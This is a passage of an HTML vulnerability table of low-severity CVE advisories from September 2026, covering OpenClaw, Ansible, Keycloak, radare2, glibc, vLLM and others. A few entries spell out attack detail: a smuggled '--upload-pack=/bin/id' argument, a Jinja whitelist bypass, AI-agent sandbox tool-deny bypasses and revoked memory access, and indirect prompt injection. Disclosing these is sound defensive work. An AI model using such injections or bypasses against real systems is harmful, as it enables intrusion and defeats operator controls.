&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Omega Solution--HRM OS&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Omega Solution HRM OS up to 20260717. The impacted element is an unknown function of the file /media/view/ of the component SVG File Upload. Performing a manipulation results in cross site scripting. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94150&quot; target=&quot;_blank&quot;&gt;CVE-2026-94150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain an authorization bypass vulnerability in webhook TaskFlow cancellation that allows attackers to cancel unrelated sessions. An attacker with a webhook route secret can supply an arbitrary child session key to cancel ACP or subagent work outside the route&#039;s configured authority.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100534&quot; target=&quot;_blank&quot;&gt;CVE-2026-100534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.8.1 fails to apply the originating requester&#039;s effective tool policy during Active Memory automatic recall. In deployments that use Active Memory together with requester-specific tool rules, deterministic and hidden recall paths can retrieve durable memory and inject it into the agent&#039;s context even when toolsBySender explicitly denies that requester access to the memory tools (memory_search, memory_get). As a result, an admitted but denied sender can receive information derived from durable memory in the agent&#039;s response without directly invoking any memory tool. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100537&quot; target=&quot;_blank&quot;&gt;CVE-2026-100537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) versions &amp;gt;= 2026.5.28 and &amp;lt; 2026.8.1 mishandle archive listings in the tar.bz2 skill installer: bounded command-output suffixes were treated as complete listings of the archive. A crafted .tar.bz2/.tbz2 skill archive can push prohibited entries out of both retained listings so that entry-count and size checks pass, and the archive is then extracted in full. If an operator approves installation of such a malicious or compromised skill archive, over-limit files or entry counts are persisted in the skill tools directory, consuming disk space or inodes. The issue bypasses OpenClaw&#039;s extraction budgets but does not by itself execute archive contents. Fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100542&quot; target=&quot;_blank&quot;&gt;CVE-2026-100542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain a sandbox policy bypass vulnerability in the MCP loopback component that allows sandboxed coding-agent sessions to invoke tools explicitly denied by sandbox.tools.deny policy. Attackers can list and invoke denied tools to access data or perform actions the operator intended to exclude from the sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100573&quot; target=&quot;_blank&quot;&gt;CVE-2026-100573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.8.1 fails to revoke memory tool access when an operator hot-disables memory configuration. Existing memory_search and memory_get tool instances retain the enabled configuration captured at creation time because the execution-time resolver treats explicit disablement like an unavailable configuration snapshot and restores the stale authority. As a result, during an already-running agent turn the model can continue searching and reading durable memory after the operator revoked that access, for the remainder of that run. Exploitation requires memory to be disabled while a previously created memory tool remains active. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;2.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100539&quot; target=&quot;_blank&quot;&gt;CVE-2026-100539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;The mysqlnd wire protocol parser reads fields out of server packets before checking that the packet still holds enough bytes for them. A malicious or compromised MySQL server can send a truncated packet and make the client read past the end of the packet buffer, which is undefined behaviour and can crash the process.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-1218&quot; target=&quot;_blank&quot;&gt;CVE-2025-1218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s Mach-O Swift field-metadata parser was vulnerable because a relative Swift field pointer could be lower than the field-metadata section base, making subtraction produce a negative logical index. The vulnerability is triggered by parsing Swift type and class metadata from a crafted Mach-O file. The derived index was used to read four bytes immediately before the allocated field-metadata buffer. This can cause incorrect metadata processing or process termination; no attacker-observable memory disclosure has been demonstrated. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81881&quot; target=&quot;_blank&quot;&gt;CVE-2026-81881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s binary property-list Unicode parser was vulnerable because the binary-property-list Unicode parser underallocated an uninitialized UTF-8 destination and did not guarantee NUL termination. The vulnerability is triggered by running the explicit pFB or pFBj commands on untrusted binary property-list data. The json encoder treated the converted data as a nul-terminated c string and could continue reading beyond the allocation. This can cause disclosure of uninitialized or adjacent heap contents in JSON output and possible process termination. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81882&quot; target=&quot;_blank&quot;&gt;CVE-2026-81882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s Lua 5.3 bytecode function parser was vulnerable because the Lua 5.3 bytecode function parser read fixed function-metadata fields immediately after a function-name string without checking the remaining buffer length. The vulnerability is triggered by opening or inspecting a crafted Lua 5.3 bytecode file whose function-name string ends at the input-buffer boundary. The parser read two integers and three one-byte fields beyond the allocated input buffer. This can cause invalid parser results or process termination; no attacker-observable memory disclosure has been demonstrated. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81883&quot; target=&quot;_blank&quot;&gt;CVE-2026-81883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s Mach-O LC_DATA_IN_CODE parser was vulnerable because the Mach-O LC_DATA_IN_CODE parser trusted dataoff and datasize and allowed a final partial record to be processed. The vulnerability is triggered by opening a crafted Mach-O file while the non-default bin.verbose option is enabled. When datasize was not a multiple of data_in_code_entry, the last iteration read beyond the allocated buffer. This can cause a heap out-of-bounds read and possible process termination; no attacker-observable memory disclosure has been demonstrated. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81884&quot; target=&quot;_blank&quot;&gt;CVE-2026-81884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rapid7--Platform&lt;/td&gt;
&lt;td&gt;Rapid7 Bulk Export MCP versions 0.2.5 through 0.6.1 suffer from a GraphQL query injection issue in the export-status component (`get_export_status` in `src/export_manager.py`), whereby the `export_id` value - an unvalidated MCP tool argument reaching the function via the `check_rapid7_export_status` and `download_rapid7_export` tools - is interpolated directly into the GraphQL query string. A crafted `export_id` containing quote and brace characters can terminate the intended `export(id: &quot;...&quot;)` selection early and append attacker-controlled root-level selections (for example, schema introspection), producing a single well-formed GraphQL document that is then sent to the Rapid7 export API under the operator&#039;s own API key. Notably, this issue does not grant an existing actor any access they do not already have: every injected query executes within the operator&#039;s own already-authenticated API scope, using the operator&#039;s own valid API key, and cannot cross a tenant or account boundary. A directly-malicious operator gains nothing they could not already do by calling the API directly; the realistic exposure is limited to a compromised or careless upstream MCP client, or indirect prompt injection forwarding an unvalidated identifier. This is fixed in version 0.6.2, which passes `export_id` as a parameterized GraphQL variable (`$exportId: ID!`).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97228&quot; target=&quot;_blank&quot;&gt;CVE-2026-97228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rapid7--Velociraptor&lt;/td&gt;
&lt;td&gt;Velociraptor&#039;s prefetch library contains an out of bound vulnerability which may cause a crash when parsing certain malformed prefetch files.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77797&quot; target=&quot;_blank&quot;&gt;CVE-2026-77797&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;LaunchConfigurationBaseSerializer.scm_branch has no validate_scm_branch() leading-dash check, unlike Project/JobTemplate/JobLaunch serializers. Schedule and WFJT Node accept --upload-pack=/bin/id as scm_branch. Currently blocked at runtime by jobs.py:1502 ValueError check (defense-in-depth), but the API validation gap means sole reliance on a task-layer guard. Refactoring that guard away would promote this to RCE.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71464&quot; target=&quot;_blank&quot;&gt;CVE-2026-71464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;RunAdHocCommand.build_args() appends limit as bare positional (args.append(limit)) instead of using args.extend([&#039;-l&#039;, limit]) like RunJob. A limit beginning with - is parsed as an ansible CLI option. Currently limited to short-circuit flags (--version, --help) since injected element displaces required pattern positional. Would escalate if ansible-core ever defaults pattern.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71465&quot; target=&quot;_blank&quot;&gt;CVE-2026-71465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;Notification template Jinja AST whitelist only inspects static Getattr nodes. Dynamic subscripts (job[&#039;job&#039;+&#039;_env&#039;]) and {% if job.id &amp;gt; 100 %} conditional gating bypass both the AST check and the test-render (stub has small job.id). At runtime, the gated branch executes and exceptions write full tracebacks into notification body, which is POSTed to attacker-controlled webhook URL. Leaks install paths, Python version, source line numbers.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71463&quot; target=&quot;_blank&quot;&gt;CVE-2026-71463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the User-Managed Access (UMA) implementation of Keycloak. The issue occurs in the authorization token endpoint when processing permission tickets. If two different users own resources with the same name, the system incorrectly merges the permissions from both resources when one user requests an authorization token. This allows an attacker to gain access scopes on a victim&#039;s resource that were never intended to be shared.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94217&quot; target=&quot;_blank&quot;&gt;CVE-2026-94217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the authentication session management of Keycloak, an identity and access management solution. The issue occurs when an administrator enforces a stronger authentication flow, such as mandatory two-factor authentication (2FA) setup, through a client policy. A user can bypass this requirement by manually visiting a specific session restart web link during the login process. This action clears the internal markers that track the required security steps, allowing the user to log in with only a password and gain access without completing the mandated 2FA setup.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94218&quot; target=&quot;_blank&quot;&gt;CVE-2026-94218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A malicious Flatpak extension can probe the host filesystem to determine what files and directories exist at arbitrary paths, and host directory listings can be disclosed to sandboxed applications using the extension. Additionally, unvalidated extension metadata can cause extension content to be mounted at unintended locations inside the sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96282&quot; target=&quot;_blank&quot;&gt;CVE-2026-96282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;By calling org.freedesktop.Flatpak.SystemHelper.CancelPull on another user&#039;s pull, the pull is not actually cancelled but removed from internal tracking, making it impossible for the owning user to stop it. Ongoing pulls cannot be stopped.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96283&quot; target=&quot;_blank&quot;&gt;CVE-2026-96283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A malicious user can get read-access to files in the flatpak-system-helper context if a system OCI repository is configured, because the OCI code paths in the system helper follow symlinks when importing OCI images that are under the user&#039;s control.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96284&quot; target=&quot;_blank&quot;&gt;CVE-2026-96284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A one-byte out-of-bounds heap read flaw was found in GIMP&#039;s uncompressed DDS image loader. When a user opens an uncompressed DDS image, the file-dds plug-in performs an unconditional one-byte look-ahead after processing the final pixel. This may cause the plug-in to crash if the byte immediately following the pixel buffer is inaccessible; no information disclosure or code execution has been demonstrated.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96546&quot; target=&quot;_blank&quot;&gt;CVE-2026-96546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rustdesk--rustdesk&lt;/td&gt;
&lt;td&gt;RustDesk before 1.5.0 on Windows fails to enforce the one-way file transfer option against peer clipboard file requests, allowing authenticated peers to read files from the host clipboard. Attackers can send FormatDataRequest and FileContentsRequest messages to retrieve copied files by guessing the FileGroupDescriptorW format identifier.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100417&quot; target=&quot;_blank&quot;&gt;CVE-2026-100417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sanluan--PublicCMS&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Sanluan PublicCMS up to 6.202506.e. This vulnerability affects the function CmsContentAdminController of the file publiccms-parent/publiccms-core/src/main/java/com/publiccms/controller/admin/sys/SysUserAdminController.java of the component exportExcel/exportData. This manipulation of the argument userId/deptId causes authorization bypass. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97721&quot; target=&quot;_blank&quot;&gt;CVE-2026-97721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. This vulnerability affects unknown code of the file ssm_pro/src/main/java/cn/sfturing/service/impl/CommonUserServiceImpl.java. Such manipulation leads to cleartext storage of sensitive information. The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96549&quot; target=&quot;_blank&quot;&gt;CVE-2026-96549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A vulnerability was found in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. This issue affects the function getProperties of the file ssm_pro/src/main/java/cn/sfturing/utils/MailUtil.java. Performing a manipulation results in cleartext transmission of sensitive information. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitability is assessed as difficult. The exploit has been made public and could be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96550&quot; target=&quot;_blank&quot;&gt;CVE-2026-96550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. The affected element is the function MD5.getMD5 of the file ssm_pro/src/main/java/cn/sfturing/utils/MD5.java of the component User Password Handler. The manipulation leads to one-way hash without salt. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitability is described as difficult. The exploit is publicly available and might be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96552&quot; target=&quot;_blank&quot;&gt;CVE-2026-96552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sheshbabu--zen&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in sheshbabu zen up to 1.5.0. Affected by this issue is the function dangerouslySetInnerHTML of the file features/notes/NotesEditor.jsx of the component Note Editor. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97868&quot; target=&quot;_blank&quot;&gt;CVE-2026-97868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;spaceship-prompt--spaceship-prompt&lt;/td&gt;
&lt;td&gt;spaceship-prompt through 4.22.5 fails to sanitize control characters from project manifest version fields before rendering them in the zsh prompt. Attackers can embed ANSI/OSC escape sequences in version fields of package manifests to manipulate terminal output, rewrite window titles, or spoof displayed text when victims enter the directory.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100867&quot; target=&quot;_blank&quot;&gt;CVE-2026-100867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;A stack-based buffer overflow in the dynamic loader (ld.so) of the GNU C Library (glibc) versions 2.14 through 2.44 allows a local attacker to crash or corrupt the memory of setuid/setgid (AT_SECURE) programs. When such a program&#039;s DT_RPATH or DT_RUNPATH begins with $ORIGIN and is followed by NUL or &#039;/&#039; the loader both reads past the end of the path buffer and writes past the end of a stack-allocated internal buffer. The corrupted loader stack can lead to a loader crash (denial of service) and limited disclosure of process memory.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95818&quot; target=&quot;_blank&quot;&gt;CVE-2026-95818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Thinkst Applied Research--Canary&lt;/td&gt;
&lt;td&gt;A vulnerability in the Thinkst Canary honeypot Redis service allows an unauthenticated remote attacker to execute a Denial-of-Service attack against the honeypot. The vulnerability is accessible when the Redis service is enabled only. The Canary is NOT affected if the Redis service is disabled. Thinkst has addressed this issue on all supported platforms. New update files to address this issue are available on all platforms except Docker. For Docker customers, a new Docker image has been published which includes the patch. Customers with automatic updates enabled already have updates in distribution. If automatic updates are disabled, customers are advised to update their Canaries. Workarounds are available for customers unable to update at this time.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85220&quot; target=&quot;_blank&quot;&gt;CVE-2026-85220&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Thinkst Applied Research--OpenCanary&lt;/td&gt;
&lt;td&gt;Denial-of-Service in Redis module in Thinkst Canary&#039;s OpenCanary 0.9.9 allows an unauthenticated remote attacker cause unconstrained memory usage.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85219&quot; target=&quot;_blank&quot;&gt;CVE-2026-85219&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;To Do List Member--To Do List Member&lt;/td&gt;
&lt;td&gt;The To Do List Member WordPress plugin through 1.6 does not have authorisation or nonce checks in an import routine, and does not validate the location it fetches the imported data from, allowing unauthenticated users to create arbitrary published posts and taxonomy terms on the site.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86802&quot; target=&quot;_blank&quot;&gt;CVE-2026-86802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;trustedfirmware--Mbed TLS&lt;/td&gt;
&lt;td&gt;In Mbed TLS 3.2.0 though 3.6.6 and 4.0.0 through 4.1.0, an attacker who can cause an entropy source to fail can remove or inject bytes into the start of the TLS stream. This only affects TLS 1.3 servers.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73064&quot; target=&quot;_blank&quot;&gt;CVE-2026-73064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;universal-tool-calling-protocol--python-utcp&lt;/td&gt;
&lt;td&gt;utcp-mcp (the MCP plugin of python-utcp) through 1.1.2 connects to the HTTP and WebSocket MCP server URLs given in a call template&#039;s mcpServers configuration without the ensure_secure_url validation that the HTTP-family plugins apply, so the HTTPS/WSS-or-loopback rule is not enforced. A call template naming a plain-HTTP, non-loopback MCP server URL is dialed as configured, exposing the MCP handshake to network interception and permitting cleartext connections to internal hosts. The mcpServers configuration is operator-authored rather than remote data, and the connection is an MCP handshake rather than an arbitrary request returning a body, which limits practical exploitation; the OAuth2 token_url credential path described in the original report was not reachable in the affected versions, because the OAuth2 handler was never invoked and the call template&#039;s auth field was not read. Fixed in utcp-mcp 1.1.3, which validates server URLs before any connection is made.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101057&quot; target=&quot;_blank&quot;&gt;CVE-2026-101057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM before 0.29.0 contains a resource-limit bypass vulnerability in PyNvVideoCodec decoder allocation where sampler subclass shadowing allows independent counter increments. Unauthenticated attackers can select different sampler subclasses in video requests to exceed configured decoder limits and exhaust unaccounted GPU memory.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100649&quot; target=&quot;_blank&quot;&gt;CVE-2026-100649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;volotat--Anagnorisis&lt;/td&gt;
